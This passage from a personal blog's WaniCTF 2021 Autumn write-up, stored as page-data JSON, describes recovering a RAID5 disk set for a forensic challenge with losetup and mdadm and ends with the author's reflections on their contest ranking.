0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>breakRAID(Forensic)</h3>\n<p>This challenge involved recovering one damaged disk out of a three-disk RAID5 set.</p>\n<p>When I looked into it, I found quite a few similar problems, and it seemed possible to restore the damaged disk by XORing the parity from the two healthy disks. Unfortunately, I failed to recover it and had to give up.</p>\n<p>Reference: <a href=\"https://blog.teknogeek.io/post/tokyo-westerns-ctf-2016-deadnas/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Tokyo Westerns CTF 2016 - Recovery 1: deadnas</a></p>\n<p>Apparently the difference was that the similar challenge above used DOS storage, whereas this one used Linux storage.</p>\n<p>(Does the RAID5 recovery method really change depending on the OS…?)</p>\n<p>I could not find a clear explanation for why the method from the similar challenge did not work here, but Linux RAID5 appears to be managed with <code class=\"language-text\">mdadm</code>, and according to the article below you can restore and mount it with the following steps.</p>\n<p>Reference: <a href=\"https://askubuntu.com/questions/663027/create-raid-array-of-image-files\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">mount - Create RAID array of image files - Ask Ubuntu</a></p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">sudo</span> losetup /dev/loop1 disk01\n<span class=\"token function\">sudo</span> losetup /dev/loop2 disk02\n<span class=\"token function\">sudo</span> <span class=\"token function\">mdadm</span> --assemble /dev/md0 /dev/loop1 /dev/loop2\n<span class=\"token comment\"># mdadm: /dev/loop1 is busy - skipping</span>\n<span class=\"token comment\"># mdadm: /dev/loop2 is busy - skipping</span>\n<span class=\"token function\">sudo</span> <span class=\"token function\">mdadm</span> -Es\n<span class=\"token comment\"># ARRAY /dev/md/0  metadata=1.2 UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0</span>\n<span class=\"token function\">ls</span> -AlF /dev/md/ishioka<span class=\"token punctuation\">\\</span>:0\n<span class=\"token comment\"># lrwxrwxrwx 1 root root 8 11月  7 23:52 /dev/md/ishioka:0 -> ../md127</span>\n\n<span class=\"token function\">sudo</span> <span class=\"token function\">mount</span> /dev/md127 /mnt</code></pre></div>\n<p>Reference: <a href=\"https://tan.hatenadiary.jp/entry/2021/11/07/201306#Forensics-Very-hard-breakRAID-326pt-24solved\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">WaniCTF 2021 write-up - Programming Notes Blog</a></p>\n<p>With that, the image file inside the storage could be restored, and the flag could be obtained.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>I placed 56th when I entered in the spring, so my ranking improved a bit, but I still could not solve any Pwn or Crypto challenges at all.</p>\n<p>The only categories I cleared completely were Web and Rev, so I still need to study more.</p>\n<p>I plan to keep entering contests every week and keep improving.</p>","fields":{"slug":"/ctf-wanictf-autum-2021-en","tagSlugs":["/tag/ctf-en/","/tag/reversing-en/","/tag/web-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2021-11-08","description":"Writeups for interesting and educational challenges from WaniCTF 2021 Autumn.","tags":["CTF (en)","Reversing (en)","Web (en)","Forensic (en)","English"],"title":"WaniCTF 2021 Autumn Writeup [Rev/Web/Forensic]","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/ctf-wanictf-autum-2021-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}